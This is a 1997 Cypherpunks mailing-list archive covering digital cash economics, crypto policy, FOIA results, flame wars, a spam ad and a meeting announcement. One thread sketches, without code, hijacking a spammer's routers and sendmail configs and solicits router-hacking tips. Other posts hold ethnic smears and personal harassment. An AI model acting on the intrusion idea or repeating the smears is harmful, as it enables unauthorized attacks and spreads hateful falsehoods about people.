>> considerable, however, and if properly branded and marketed could
>> significantly displace current competition, for lower value transactions.
>> The overhead of CC discounts is keenly watched by merchants.  If a trusted
>> DBC issuer/agent offered 1.0% fees (especially to on-line merchants) it
>> would get noticed quickly.
>
>Agreed. However, when it happens, it'll probably be more significant than
>that. I think removing 3 or 4 extra zeroes from the status quo is probably
>what people should try to do when developing this stuff. I think that the
>technology offers us at least that much slack, and probably more.
>
>Remember, it *is* supposed to change the world. :-).

If I grant that you're right that DBCs will be 3-4 orders of magnitude
cheaper than the book-entry approaches, and I'm ready yet, there is still
the issue of whether such savings can be quickly passed on to the merchant
and consumer, and thus spark this revoltion.

Consider this, if a DBC-based system were to garner 3% (about what it might
take to get noticed by the consumer, retail and business markets) of the
GDP's $4 trillion in transactions, or about $120 billion, and the
transaction fees were $0.0025, this would generate about $300 million in
fees.  This is about what Western Union International generates in fees, a
very respectable sized business.  But how much marketing and branding
expenditures would it take to get there?  All financial products which
attempted to reach a broad market and have a significant impact have
required, in the past, significant up-front marketing expenses (VISA
succeeded because BankAmericard spent in the $10s million per year range).
Unless the Net will enable a 3-4 orders of magnitude reduction in such
expenses, amounting to an historic bootstrap, it is difficult to see how
this will occur without a white knight.

A similar situation is occuring in cellular.  Prices are plummeting because
many new companies are building out competitive PCS networks and forward
pricing their services to gain market share and economies of scale.  These
new players have deep pockets (or are backed by those with deep pockets).
To wrench away the bank and credit card francshise from the established
players may require similar sized investments.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."







From nobody at squirrel.owl.de  Mon May  5 19:48:53 1997
From: nobody at squirrel.owl.de (Secret Squirrel)
Date: Tue, 6 May 1997 10:48:53 +0800
Subject: Bypassing the Digicash Patents
Message-ID: <19970506013753.7943.qmail@squirrel.owl.de>


On Sun, 4 May 1997, Dr.Dimitri Vulis KOTM wrote:
 
> As usual, Greg the C2Net shill writes total bullshit about things he
> knows nothing about.  Try paying cash at Radio Shack, and see if they
> ask for your name and address for their mailing list.  I guess Greg
> is not the type to buy anything at Radio Shack.  What a fitting
> employee for C2Net.

Not a problem Dr. Vulis, whenever I purchase items from Radio Shack,
I use your name and address and phone number.  I hope you don't mind
receiving extra catalogues.   It is after all, all in the good name of privacy 
and protecting my uncoloured identity.

VulvisMonger






From alan at ctrl-alt-del.com  Mon May  5 21:38:13 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Tue, 6 May 1997 12:38:13 +0800
Subject: Insults about C2Net
In-Reply-To: <3.0.1.32.19970504232234.00a71af0@mail.teleport.com>
Message-ID: <3.0.1.32.19970505204654.00a86100@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 09:45 AM 5/5/97 -0800, Tim May wrote:
>At 10:22 PM -0800 5/4/97, Alan Olsen wrote:
>
>>I really knew what specific actions caused people to have such a NASTY
>>opinion of C2net.  I have seen mistakes on their part, but nothing to
warrent
>>the kind and amount of venom I have seen from people.  Maybe I missed
>>something somewhere...  (Or is this one of those "people who disagree with
me
>>are "?)
>
>This is an easy one. The only continuing insults I see come from Vulis. No
>further explanation is needed.

I have seen the same attitude from Toto and Atilla, as well as a couple of
others.  It is not just Vulis.

>(One wonders why Vulis does not simply program one of his insultbots to
>spew out a daily insult.)

Don't give him ideas...

>I happen to believe C2Net overreacted to Vulis' slur about the quality of
>Stronghold, and I strongly, strongly believe that Sandy S. should not have
>censored the Vulis post while being an employee of C2Net (that is, he
>should have done one or more of the following: let it pass the way so many
>off the wall posts were passed, announce publically what he was doing at
>the very least, recuse himself from the decision due to conflict of
>interest, or, best of all, quit as censor).

I have my own problems with Sandy's actions in that one.  If it had *JUST*
dealt with those things that could not be handled by filters (the spam and
the anon flames), then I would have not had a problem with that.  Instead the
censorship was arbitrary and pretty heavy handed.  I do not agree what
happened, but I resist using the kind of vitrol that others seem to think
neccisary.  I just cannot see the reason for such venom in this case.

>But the C2Net flap is behind us. The continuing claims that it was C2Net
>which instructed Gilmore to remove Vulis are incorrect--Gilmore actually
>receives his instructions from the Elders of Zion, relayed through the San
>Francisco representatives of the Bilderburgers.

I thought it was the Aluminum Bavariati in league with the Build-A-Burger
Conspiracy and the Parisian Metro Gnomes.

Judging by Vulis's posts in the past, I would not trust him for ANY
information.

Vulis uses insults and personal attacks to cause emotional pain to his
percived enemies.  An example of this are his posts about Bruce Baugh.  Vulis
made all sorts of unsavory claims about Bruce that he *KNEW* were unture.  He
did it because he knew that he could hurt Bruce by doing so.  (I know Bruce
very well.  Vulis was lying and it was vindictive.  None of what he said
about Bruce was true.)  What it did was drive Bruce off of the Cypherpunks
list.  I have seen similar incidents from him.  In my view he has a great
amount of negative reputation capitol.  I have a hard time understanding why
people like Toto seem to cut him so much slack.

>As for stores asking for personal info, this is unsurprising. Fortunately,
>one can always refuse to give it, or lie, or just shrug. No laws yet demand
>this information be given (except for sales of guns and other such
>almost-contraband). Stores seek information for marketing, for decisions on
>placement of new stores (which is why zip codes are sometimes asked for),
>etc.

They claim the information is for marketing.  My dislike of marketing people
makes me tempted to give them even more bogus info...  The temptation is
difficult at times.

>"Identity is just another credential in a negotiation."

"Welcome to the Global Village.  You are number six."

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---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From ichudov at algebra.com  Mon May  5 22:10:06 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 6 May 1997 13:10:06 +0800
Subject: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705060249.TAA09248@kachina.jetcafe.org>
Message-ID: <199705060254.VAA17328@manifold.algebra.com>


Dave Hayes wrote:
> 
> Mr. Arachelian writes:
> > Well, here's a thought.  Let's pool some cash together and go off and 
> > spam cyberpromo from the inside.  Let's get an account there, turn it 
> > around and spam everyone and their mother at cyberpromo and their 
> > respective subdomains.   Wouldn't that be sweet revenge?
> 
> If vengance is your concern, this is a good idea. Neither vengance nor
> righteousness is my concern, however.
> 
> Judgementally speaking, if you spam, you may not continue to condemn
> spammers and be consistent.

Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
and deletes all files there? Would it also be inconsistent, in your
view?

	- Igor.






From alan at ctrl-alt-del.com  Mon May  5 22:13:43 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Tue, 6 May 1997 13:13:43 +0800
Subject: Pro-Crypto Arguments
Message-ID: <3.0.1.32.19970505215953.00a90ea0@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

The current line of argument in supporting crypto seems to fall into the
"software as speech" (ala First Amendment) or Crypto as munition (and
invoking the Second Amendment).  

I think of Crypto as "Freedom of Language".  

Imagine the uproar that would be caused if Jesse Helms (or one of his ilk)
tried to pass a law that all conversations over the net or phone lines had to
be in English.  (Or at least in a language understood by the cops.)  The
amount of uproar would be incredible.  The courts have already ruled against
this form of "language escrow".  Such rulings should apply to encrypted
communications as well.

Software is just the mechanism for the language of cryptography, it is not
the language itself.  Just as in spoken languages, special knowledge is
needed to understand the "ideas" being communicated.  The algorithm is (in
part) that language.  (But in this case, you are able to speak to only those
you intend, not to the world at large.)

Of course, the question is whether this line of reasoning will work under the
current regime.  Maybe, maybe not.  It seems a better argument than the ones
I have seen so far...  Depends on how far the deck has been stacked against
us.

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-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From kent at songbird.com  Mon May  5 22:26:02 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 6 May 1997 13:26:02 +0800
Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: <19970505214347.40130@bywater.songbird.com>


On Mon, May 05, 1997 at 04:53:28PM -0700, Lucky Green wrote:
> On Mon, 5 May 1997, Ernest Hua wrote:
> > I don't completely like the first amendment argument because it is
> > solely based on claiming that software is, first and foremost,
> > expression.  In fact, software has mechanism and side effect of
> > mechanism.  If software were strictly expression, it is hard to
> > imagine how a multi-billion industry could have spawned from such an
> > inert practice.  Another example: one could argue that crafting an
> > grenade launcher is artistic expression, but surely few would consider
> > THAT argument when faced with such an "expressive" neighbor.
> 
> I concur. A citizen has the right to manufacture a grenade launcher under
> the Second Amendment (irrespective of what judges scared into submission
> by Roosevelt et al may have ruled), not the First. 

I have heard, from a knowledgable person, that the reason that the NRA
has not pressed a constitutional challenge is that their lawyers tell
them that the historical context clearly indicates that the second
amendment does *not* protect individual ownership of firearms, and
that a constitutional challenge would almost certainly lose.  Hence
the NRA resorts to lobbying.  That is, it is not a matter of 
Roosevelt scaring the judges, but a matter of the clear intent of the 
constitution. 

This made sense to me -- if the constitutional grounds were clear the
NRA could save a tremendous amount of money and trouble just by
letting the court rule on it -- Roosevelt is dead.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From gbroiles at netbox.com  Mon May  5 22:28:47 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Tue, 6 May 1997 13:28:47 +0800
Subject: FOIA results
Message-ID: <3.0.1.32.19970505201927.00876a00@mail.io.com>



Got two FOIA things in the mail today:

1.	~ 200 pp of "LIST OF DUAL USE GOODS AND TECHNOLOGIES AND MUNITIONS LIST"
re my Wassenaar FOIA. It's much too long to type or scan. Am planning to
type the crypto and software relevant parts when I get some free time. This
looks like the document I was expecting.

2.	A letter from the NSA in response to my FOIA request re cypherpunks -
they want a check for close to $2400 before they'll do a search of their
records. I'm not sending them $2400. Am considering appealing their denial
of my fee waiver, and/or making a more carefully tailored request. I'll
probably scan this within the next few days.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From dave at kachina.jetcafe.org  Mon May  5 22:31:09 1997
From: dave at kachina.jetcafe.org (Dave Hayes)
Date: Tue, 6 May 1997 13:31:09 +0800
Subject: Controversial Commercial ISP for Remailer?
Message-ID: <199705060249.TAA09248@kachina.jetcafe.org>


Mr. Arachelian writes:
> Well, here's a thought.  Let's pool some cash together and go off and 
> spam cyberpromo from the inside.  Let's get an account there, turn it 
> around and spam everyone and their mother at cyberpromo and their 
> respective subdomains.   Wouldn't that be sweet revenge?

If vengance is your concern, this is a good idea. Neither vengance nor
righteousness is my concern, however.

Judgementally speaking, if you spam, you may not continue to condemn
spammers and be consistent.
------
Dave Hayes - Altadena CA, USA - dave at jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

"If you are distressed by anything external, the pain is not due to the
thing itself, but to your estimate of it; and this you have the power
to revoke at any moment."                      - Marcus Aurelius, 121-180








From NOSPAM-geeman at best.com  Mon May  5 23:01:32 1997
From: NOSPAM-geeman at best.com (geeman)
Date: Tue, 6 May 1997 14:01:32 +0800
Subject: Pro-Crypto Arguments
Message-ID: <3.0.32.19970505224344.006b7a04@best.com>


Such was the thrust of my question posed to the Senate hearings via netcast:
"Is secret speed protected speech"

For if not, then it is a simple matter by extension to require that all
communications be in the lingua franca of the listener, obviously
preposterous.

The respondent seemed to think that 'secret speech' is protected, but 
obviously there are counterarguments.

At 09:59 PM 5/5/97 -0700, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The current line of argument in supporting crypto seems to fall into the
>"software as speech" (ala First Amendment) or Crypto as munition (and
>invoking the Second Amendment).  
>
>I think of Crypto as "Freedom of Language".  
>
>Imagine the uproar that would be caused if Jesse Helms (or one of his ilk)
>tried to pass a law that all conversations over the net or phone lines had to
>be in English.  (Or at least in a language understood by the cops.)  The
>amount of uproar would be incredible.  The courts have already ruled against
>this form of "language escrow".  Such rulings should apply to encrypted
>communications as well.
>
>Software is just the mechanism for the language of cryptography, it is not
>the language itself.  Just as in spoken languages, special knowledge is
>needed to understand the "ideas" being communicated.  The algorithm is (in
>part) that language.  (But in this case, you are able to speak to only those
>you intend, not to the world at large.)
>
>Of course, the question is whether this line of reasoning will work under the
>current regime.  Maybe, maybe not.  It seems a better argument than the ones
>I have seen so far...  Depends on how far the deck has been stacked against
>us.
>
>-----BEGIN PGP SIGNATURE-----
>Version: 4.5
>
>iQEVAwUBM266uOQCP3v30CeZAQHU4wf9GePLzvloFC/zpM+uAmdzq+wCzASUt/vH
>0GP4v9DwLTYtWDp4O/o/ietk1tej4G/d1h2owpdHsGT1qkUXWIG8XUjWsTPblPsa
>0uS097K+fB7fP7+LUyrGWkaCwNMfqQ3gErhVfoRsQ6lJRhWE+6JiIcdgxC1OY7lg
>kknM3//51Avbk+7CcVH+flyvL7uKWFHJdKpthiSSfKSg9nKJrLUQJxOQaK7xkpXH
>4oFEKF1EApa2gFIPyTEM7Nd1Dp2PzcdNZrVHn2BmMP7eXeN4Jfkwoc31r95DPwpI
>L2uWEeRpNEs61qNtM8/gkKMXk5fP/vLl8ujDHaYXDOP6dA3CnSbGOA==
>=aN2p
>-----END PGP SIGNATURE-----
>
>---
>|            "Mi Tio es infermo, pero la carretera es verde!"            |
>|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
>| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
>|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
>|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|
>
>
>






From dlv at bwalk.dm.com  Tue May  6 00:27:31 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 6 May 1997 15:27:31 +0800
Subject: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705060254.VAA17328@manifold.algebra.com>
Message-ID: 


ichudov at algebra.com (Igor Chudov @ home) writes:

> Dave Hayes wrote:
> >
> > Mr. Arachelian writes:
> > > Well, here's a thought.  Let's pool some cash together and go off and
> > > spam cyberpromo from the inside.  Let's get an account there, turn it
> > > around and spam everyone and their mother at cyberpromo and their
> > > respective subdomains.   Wouldn't that be sweet revenge?
> >
> > If vengance is your concern, this is a good idea. Neither vengance nor
> > righteousness is my concern, however.
> >
> > Judgementally speaking, if you spam, you may not continue to condemn
> > spammers and be consistent.
>
> Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> and deletes all files there? Would it also be inconsistent, in your
> view?

It certainly would be consistent with other terrorist acts perpetrated
by Armenian criminals off and on the net - such as the genocide of
the 2 million Moslems and Sephardic Jews in this century alone.

I am not surprised that Arachelian's employer, Earthweb, condones his
spamming.  They sound like a thoroughly corrupt and criminal organization,
since they even employ Arachelian as a network administrator.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From lucifer at dhp.com  Tue May  6 00:30:09 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Tue, 6 May 1997 15:30:09 +0800
Subject: PGP
Message-ID: <199705060714.DAA24306@dhp.com>


Tim C[retin] Mayflower styles his facial hair to look more 
like pubic hair.

      ,,,
 -ooO(o o)Ooo- Tim C[retin] Mayflower
      (_)






From 2m at ALLVIP.COM  Tue May  6 18:24:23 1997
From: 2m at ALLVIP.COM (2m at ALLVIP.COM)
Date: Tue, 6 May 1997 18:24:23 -0700 (PDT)
Subject: Get 2 Million Email Addresses Today - ONLY $99   ALL DELIVERABLE
Message-ID: <199705062050.QAB00412@fp.allvip.com>


    * To Remove:  Please hit reply & type "remove" in the subject

< <> >   Get 2 Million Email Addresses Today - ONLY $99  (Reg. $489)   < <> >
                          *  Visa  &  Mastercard  Welcome  *
                      Targeted to General Business & More
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  ISP  that welcomes unsolicited bulk email!

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    * To Remove:  Please hit reply & type "remove" in the subject








From sbn at MICROSOFT.COM  Tue May  6 21:20:50 1997
From: sbn at MICROSOFT.COM (Site Builder Network)
Date: Tue, 6 May 1997 21:20:50 -0700 (PDT)
Subject: Site Builder Network: SBN Wire
Message-ID: <0845FCDE78BFD011A17600805FD43A8F184B97@RED-45-MSG.dns.microsoft.com>


*** Microsoft (R) Site Builder Network ***

In this issue:

NEWS & ANNOUNCEMENTS

*  New - Microsoft Site Server
*  Microsoft Developer Network Library Goes Online
*  Free Intranet apps from the new Intranet Solutions
Center
*  Get ready to develop for Internet Explorer 4.0
*  New - Dynamic HTML Gallery

MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT

*  Introducing:  Site of the Month
*  Feature Story - Internet Explorer 4.0 Technology
*  Chili!ASP from ChiliSoft
*  Metrowerks CodeWarrior for the Mac

PLEASE NOTE: FORMATTING RESTRICTIONS MAY NOT ALLOW A URL
TO FIT ON ONE LINE, THUS CAUSING AN ERROR IN THE LINK.
IF A URL LINK DOES NOT SEEM TO WORK, PLEASE PASTE THE
WHOLE ADDRESS (THAT MAY STRETCH INTO TWO LINES) INTO
YOUR BROWSER FOR VIEWING.  THANK YOU FOR YOUR PATIENCE.


NEWS & ANNOUNCEMENTS

NEW - MICROSOFT SITE SERVER
Microsoft Site Server, the newest member of Microsoft's
BackOffice family, makes it easy to enhance, deploy, and
manage sophisticated web sites built on Windows NT
Server and Internet Information Server.  For all the
latest information, go to the new Site Server web site
at http://www.microsoft.com/siteserver/.

MICROSOFT DEVELOPER NETWORK LIBRARY GOES ONLINE
Site Builder Network's sister resource, the Microsoft
Developer Network, has launched a new web site.  Go to
http://www.microsoft.com/siteserver/ for the most up-to-
date programming information.  Take advantage of an MSDN
Online Membership and receive access to the MSDN Library
Online, a registration to the MSDNFlash (email
notification service), and a host of other online
specials.

FREE INTRANET APPS FROM THE NEW INTRANET SOLUTIONS
CENTER
We've launched a one-stop web site for finding fast easy
answers to intranet issues at
http://www.microsoft.com/intranet/default.htm.  The site
includes 47 free, sample intranet applications you can
download, including workflow charts, bug tracking,
employee handbooks and more.  Plus, articles, case
studies, and a load of resources can be found at the
site.

GET READY TO DEVELOP FOR INTERNET EXPLORER 4.0
To ready you for Internet Explorer 4.0, we've built a
whole new Workshop page just for Internet Explorer 4.0
Technologies.  You can find it at
http://www.microsoft.com/sitebuilder/workshop/prog/ie4/.
You'll find the latest information on Microsoft Internet
Client Software Development Kit, being shipped with the
IE4 Platform Preview CD.

DYNAMIC HTML GALLERY
We've expanded our Gallery to include a section on
Dynamic HTML.  Go to
http://www.microsoft.com/gallery/default.asp and scroll
down to the Dynamic HTML globe.  Here you will find the
latest Internet Explorer 4.0 technology, ready to view.
Learn about and start using Dynamic HTML now!


MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT

INTRODUCING - SITE OF THE MONTH
Introducing the Site Builder Network Site of the Month.
Don't envy them; learn from their stories. The SBN Site
of the Month features in-depth analysis of the
technical, design, and business stories behind a Web
site that rocks (and maybe even money).   Check out our
first honoree at
http://www.microsoft.com/sitebuilder/webadvantage/baarns
.asp.

FEATURE STORY - INTERNET EXPLORER 4.0
We're spotlighting Internet Explorer 4.0 this week.
Check out the feature story this week in the Site
Builder Network Magazine at
http://www.microsoft.com/sitebuilder/features/inetsdk.
asp. Topics include: a what-why-how overview of a very
Web-savvy browser, how the new multimedia controls will
add sparkle to your pages, and the Dynamic HTML Object
Model explained.

NEW DOWNLOADS

Chili!ASP, from ChiliSoft, lets you build Active Server
Pages (ASP) on non-Microsoft Web servers.

Metrowerks CodeWarrior is the development environment of
choice for Macintosh computers. This special
demonstration version of CodeWarrior lets you experience
the fast compilers, easy-to-use IDE (Integrated
Development Environment), and context-sensitive editor.

________________________________________
To increase or decrease the frequency of e-mail or
postal mail you receive from Site Builder Network,
please go to
http://www.microsoft.com/sbnmember/apply/apply.asp and
click "Change Your Membership."  You will find check
boxes, which will allow you to choose the frequency of
mail you wish to receive (including none).  To cancel
your SBN membership, please put "Cancel my Membership"
in the subject heading and e-mail back to
SBN at microsoft.com.





From jya at pipeline.com  Tue May  6 07:50:11 1997
From: jya at pipeline.com (John Young)
Date: Tue, 6 May 1997 22:50:11 +0800
Subject: (fwd) Cell Phone Cancer Study
Message-ID: <1.5.4.32.19970506142235.0083d2e4@pop.pipeline.com>


As follow up to the Stewart Fist report on new findings
of cell-phone hazards, the Jerusalem Post says that
the report is causing alarm in Israel -- where cell-phones
are heavily used -- and that the government intends to 
investigate. Motorola et al are hunkered.

The scientific study is in the journal "Radiation Research,"
Volume 147, Number 5, May 1997:

   http://www.cjp.com/radres/html/may97toc.htm

   Michael H. Repacholi, Antony Basten, Val Gebski, Denise 
   Noonan, John Finnie and Alan W. Harris

   "Lymphomas in Emu-Pim1 Transgenic Mice Exposed to Pulsed 
   900 MHz Electromagnetic Fields" (p. 631)

However, there is not an on-line version, unless someone knows
of it elsewhere. What say the cellular folks here to this story?






From sunder at brainlink.com  Tue May  6 09:38:15 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 7 May 1997 00:38:15 +0800
Subject: [Off Topic - Vulis] Re: Controversial Commercial ISP for Remailer?
In-Reply-To: 
Message-ID: 


On Tue, 6 May 1997, Dr.Dimitri Vulis KOTM wrote:

> It certainly would be consistent with other terrorist acts perpetrated
> by Armenian criminals off and on the net - such as the genocide of
> the 2 million Moslems and Sephardic Jews in this century alone.
> 
> I am not surprised that Arachelian's employer, Earthweb, condones his
> spamming.  They sound like a thoroughly corrupt and criminal organization,
> since they even employ Arachelian as a network administrator.

ROTFL! To quote the infamous snow:
"Pot. Kettle. Black."

A better question would be: How many people did you and your bots and 
your cohorts spam in this century alone?  [Including Moslems, and Jews]
And how many flame wars have you ignited?  

(And I promise that I won't tell anyone that you ate ham and cheese
sandwitches with your white bread on passover unless I do so in public.) 
:)

Now that I think about it... I suppose since Earthweb sells Java, and java
contains caffeine (virtual mind you) and caffeine is addictive, you could say
Earthweb is a virtual "drug" dealer, but corrupt and criminal?  Ha!  

Oh, before I forget, remind me to send you a pack of Oren's Earthweb Blend
coffee (which we give out at trade shows) one of these days.  The first pack
is free, once you're addicted... errrr... if you like it you can order 
more from Oren's Daily Roast.  

 -- End of this off topic thread.  Hehehhe! :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Tue May  6 09:43:58 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 7 May 1997 00:43:58 +0800
Subject: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705060254.VAA17328@manifold.algebra.com>
Message-ID: 


On Mon, 5 May 1997 ichudov at algebra.com wrote:

> Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> and deletes all files there? Would it also be inconsistent, in your
> view?

Fictionally speaking, if the Prof. (when did I earn that title?) does 
hack Cyberpromo, the Prof wouldn't delete all the files, for doing so 
would simply cause them to restore their files from tape thus cause not 
much to happen.  No, were I to do something like that (and I wouldn't) it 
would have to be something that would keep them down for a long time, not 
for eight hours while their tape drive restores stuff.

Any suggestions as to what this would be for those out there willing to do
such a deed? :) My own suggestion would be to hack into the routers
surrounding them and set them up to connect any attempts to connect to
machines outside cyberpromo.com on port 25 back to cyberpromo's own sendmail
server.  Setting up their sendmail configs to do the same would also be a
nice backup.  That would be IMHO a proper hack.  (Anyone care to share router
hacking techniques, and how to do such a thing?-- Again, not that I would 
do this myself.)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From jya at pipeline.com  Tue May  6 10:14:28 1997
From: jya at pipeline.com (John Young)
Date: Wed, 7 May 1997 01:14:28 +0800
Subject: CALEA Comments
Message-ID: <1.5.4.32.19970506163454.0071c470@pop.pipeline.com>


The FBI has published today in the Federal Register
industry comments and its responses to Section 104(d) 
of the Communications Assistance for Law Enforcement 
Act, 2nd Notice of January 14, 1997, and requests
additional comments:

   http://jya.com/fbi050697.htm  (33K)






From alano at teleport.com  Tue May  6 11:22:30 1997
From: alano at teleport.com (Alan)
Date: Wed, 7 May 1997 02:22:30 +0800
Subject: Jim Bell in the Oregonian
Message-ID: 



Jim Bell has an editorial (with his picture) in the Oregonian. (Morning
edition, May 6th, 1997 page B-9.)  It takes up about a quarter of the
page.

It is an interesting read.  It does not address the problems with AP, but
it does deal with the raid and other issues involved.

Jim might consider posting a copy of the original article here.  Given the
Oregano's love of cut-and-paste journalism, it would be interesting how
the original and print versions differ.







From alano at teleport.com  Tue May  6 11:28:22 1997
From: alano at teleport.com (Alan)
Date: Wed, 7 May 1997 02:28:22 +0800
Subject: Hacking the Crypto Ban
Message-ID: 


An article in "Intelectual Property" magazine on hacking around the crypto
export ban at http://www.ipmag.com/crypto.html .  Get it while it is still
there.

Goes into great length about the EAR and those Hamletionians pouring
poison into it.  (Sorry...  Started channeling John Young there for a
moment...)







From root at fatmans.demon.co.uk  Tue May  6 12:10:16 1997
From: root at fatmans.demon.co.uk (root)
Date: Wed, 7 May 1997 03:10:16 +0800
Subject: (fwd) Re: XS4ALL censored pages (fwd)
Message-ID: 




---------- Forwarded message ----------
Date: Tue, 6 May 1997 13:03:06 +0200 (MET DST)
From: Felipe Rodriquez 
To: Alex de Joode 
Cc: root at fatmans.demon.co.uk
Subject: Re: (fwd) Re: XS4ALL censored pages (fwd)

Hi,

Plz forward this to the cypherpunk list:

> As we guessed XS4ALL don`t even have the guts to send us a copy of the 
> pages they censored. Check this out...
> 
> 
> >>Postmaster,
> >>
> >>Please send me a copy of your current pricing for web space.
> >>Also, please send me a copy of the marajuana pages you recently removed 
> >>from your web server.
> >
> >Hearby you recieve information about all services from xs4all.
> >
> >We don't know anything about marajuana pages so we can't send you a copy of
> >that.

The simple reason that a copy cannot be sent is that we have no such
copy. The Dutch police have asked us to remove these pages, because
they where being used to sell and distribute marihuana, hashish and
XTC. These drugs had been distributed to countries like France,
England and Japan. Through Interpol these countries had requested the
dutch police to take action against these pages. If Xs4all would not
have removed the pages we'd have been target of a criminal
investigation.


Kind regards,


	Felipe Rodriquez







From hugh at ecotone.toad.com  Wed May  7 03:15:58 1997
From: hugh at ecotone.toad.com (Hugh Daniel)
Date: Wed, 7 May 1997 03:15:58 -0700 (PDT)
Subject: May 10th San Francisco area Cypherpunks Meeting Announcement
Message-ID: <199705071015.DAA00670@ecotone.toad.com>



What:	San Francisco Bay Area Cypherpunks Monthly Phyical Meeting

When:	Saturday May 10th, 12 noon

Where:	PGP World Headquarters, San Mateo, California
	Bayview Federal Building, second floor conference room
		2121 S. El Camino Real, San Mateo, California
		South of the intersection of Highway 92 and El Camino Real
		http://www.pgp.com/pgpcorp/contactpgp.cgi#head
		See attached detailed directions below.

Possible
Agenda:	Political situation update for GDR, Brittan, USA, somone?
	Crypto at the 38th IETF Meeting report, Hugh Daniel
	Hidden USSA Citizen Unit ID & Reporting law PASSED US Congress!
	P/MIME & PGP beta testing update, Dave del Torto
	Hot topics of the day, what ever you need to talk about.
	Future Meetings


Dave's Directions to PGP's HQ in San Mateo (fossil fuel version).

.................................. MACRO ...................................

+ From the North Bay:
  - Hwy 101 South (use right lanes after passing SFO)
  - EXIT Fwy 92 West (move to center lane immediately after ramp)...
  or
  - 280 South (take Hwy 92 East toward the Bay)...

+ From the South Bay:
  - 101 North
  - EXIT Fwy 92 West (toward Half Moon Bay)...
  or
  - 280 North
  - EXIT Hwy 92 East (toward the Bay)...

+ From the East Bay:
  - San Mateo Bridge (Hwy 92 West)
  - GO past Hwy 101...

+ From Hale-Bopp:
  - LEFT turn at Beta Pictoris.
  - LOCATE greenish-blue planet third out from star w/9-10 planets in orbit.
     (High radiation readings make it obvious.)
  - PROCEED to Northern hemisphere.
  - FIND the largest body of water.
     (Travel in the direction of the planet's rotation until you reach
      the longest coastline running between the polar ice-caps.)
  - FOLLOW the biggest N-S seismic fault.
  - RIGHT turn at the large reddish suspension bridge.
  - SOUTH along coast to large reservoir at intersection of Hwy 280 and 92.
  - WEST on Hwy 92...

.................................. MICRO ...................................

+ Once you're on Hwy 92 (from either 280 or 101)
  - EXIT at SOUTH El Camino Real
     (From 101 it's about a mile, the 2nd of two El Camino exits)
     (From 280 it's about 7 miles, after you've come down a steep grade,
      levelled out and passed under an overpass)
  - Curve around and down under freeway: you're now travelling south on
    El Camino Real.
  - Get in the LEFT lane *immediately*.
     (Directly in front of you, you can see the Bayview highrise a couple
      of blocks away.)
  - LEFT on 20th.
